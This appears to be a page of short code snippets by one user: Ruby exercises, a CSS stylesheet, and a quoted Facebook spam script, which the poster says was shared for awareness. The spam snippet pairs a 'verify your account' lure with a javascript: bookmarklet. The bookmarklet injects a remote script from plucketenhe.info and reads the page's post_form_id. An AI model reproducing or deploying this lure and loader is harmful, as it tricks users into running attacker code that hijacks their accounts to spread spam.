johncrisostomo

filename = ARGV

input = Array.new
output = Array.new

File.open(filename.first) do |f|
  while line = f.gets
    input << line.chomp!.split(" ")
  end
end

johncrisostomo

/* 
New facebook spam, it's not mine, I posted so that people would be aware.
AGAIN, I DIDN'T CREATE THIS. 
*/

var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process...";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "==>[VERIFY MY ACCOUNT]<==";

var post_form_id = document.getElementsByName('post_form_id')[0].value;

johncrisostomo

#only quits after three successive BYEs

def random_year
  rand(21) + 1930
end

count = 0
while count <= 2
  print 'Say something to grandma : ' 
  input = gets.chomp

johncrisostomo

class Dog
  def initialize(name)
    @name = name
  end

  def method_missing(name, *args, &block)
    command = /(command)_(\w+)/.match(name)
    if command
      puts "#{@name} doesn't know to #{command[2]}!"
    else

johncrisostomo

def document_to_string(filename)
  text = ''
  File.open(filename) do |f|
    while line = f.gets
      text << line
    end
  end
  text
end

johncrisostomo

#something like this, it's a snippet : 

f = File.open("plaintext.txt", "r+")

bytes_per_line = f.readline.length+1

f.seek(bytes_per_line*5, IO::SEEK_SET)

johncrisostomo

body { font-family: Helvetica;  }

#nav { background-color: black; color: white; width: 100%; padding: 3px; font: 15px Arial;  }

#left { position: absolute; left: 640px; }

#header { margin-top: 20px; border: 3px grey; border-style: none none solid none; }

#sidepane { border: 3px grey; border-style: none solid solid none; position: absolute; left: 10px;
			padding: 10px; }